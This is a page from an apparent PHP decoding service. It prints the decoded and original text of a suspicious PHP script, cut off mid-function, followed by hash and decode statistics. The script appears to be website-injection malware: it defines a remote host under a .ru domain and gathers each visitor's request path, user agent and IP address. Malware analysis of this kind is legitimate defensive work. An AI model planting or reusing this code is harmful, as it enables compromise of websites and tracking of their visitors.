Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$a='fgj607';@set_time_limit(3600);define("W",'http://fgj607.freemiss.ru');define("U",getu(..
Decoded Output download
<? $a='fgj607';@set_time_limit(3600);define("W",'http://fgj607.freemiss.ru');define("U",getu());function k($b){return@$_SERVER[$b]?$_SERVER[$b]:"";}define("S",strtolower(k("PHP_SELF")!=""?k("PHP_SELF"):k("SCRIPT_NAME")));$d=stripos(S,"index.php")!==false&&stripos(U,S)===false?rtrim(S,"index.php"):S;if($d=="")$d="/";define("F",$d);$f=@$_REQUEST["p"];$d=ltrim(U,F);if($f!="")$d=preg_replace("@(\?|\&)p=".$f."@","",$d);define("U2",preg_replace("#^\W+#","",$d));$h=k('HTTP_USER_AGENT');function getu(){$k=k("REQUEST_URI");if(empty($k)){$l=k('argv');$k=S.'?'.(is_array($l)?$l[0]:k('QUERY_STRING'));}return $k;}function get_ip(){$p=k('REMOTE_ADDR');if(!empty($_SERVER['HTTP_CLIENT_IP'])){$p=k('HTTP_CLIENT_IP');}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$p=k('HTTP_X_FORWARDED_FOR');}if(stristr($p,',')){$t=explode(",",$p);$p=$t[0];}return $p;}function c($u,$z, ?>
Did this file decode correctly?
Original Code
$a='fgj607';@set_time_limit(3600);define("W",'http://fgj607.freemiss.ru');define("U",getu());function k($b){return@$_SERVER[$b]?$_SERVER[$b]:"";}define("S",strtolower(k("PHP_SELF")!=""?k("PHP_SELF"):k("SCRIPT_NAME")));$d=stripos(S,"index.php")!==false&&stripos(U,S)===false?rtrim(S,"index.php"):S;if($d=="")$d="/";define("F",$d);$f=@$_REQUEST["p"];$d=ltrim(U,F);if($f!="")$d=preg_replace("@(\\?|\\&)p=".$f."@","",$d);define("U2",preg_replace("#^\\W+#","",$d));$h=k('HTTP_USER_AGENT');function getu(){$k=k("REQUEST_URI");if(empty($k)){$l=k('argv');$k=S.'?'.(is_array($l)?$l[0]:k('QUERY_STRING'));}return $k;}function get_ip(){$p=k('REMOTE_ADDR');if(!empty($_SERVER['HTTP_CLIENT_IP'])){$p=k('HTTP_CLIENT_IP');}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$p=k('HTTP_X_FORWARDED_FOR');}if(stristr($p,',')){$t=explode(",",$p);$p=$t[0];}return $p;}function c($u,$z,
Function Calls
None |
Stats
MD5 | e732947beb97dbf0022835c344654544 |
Eval Count | 0 |
Decode Time | 57 ms |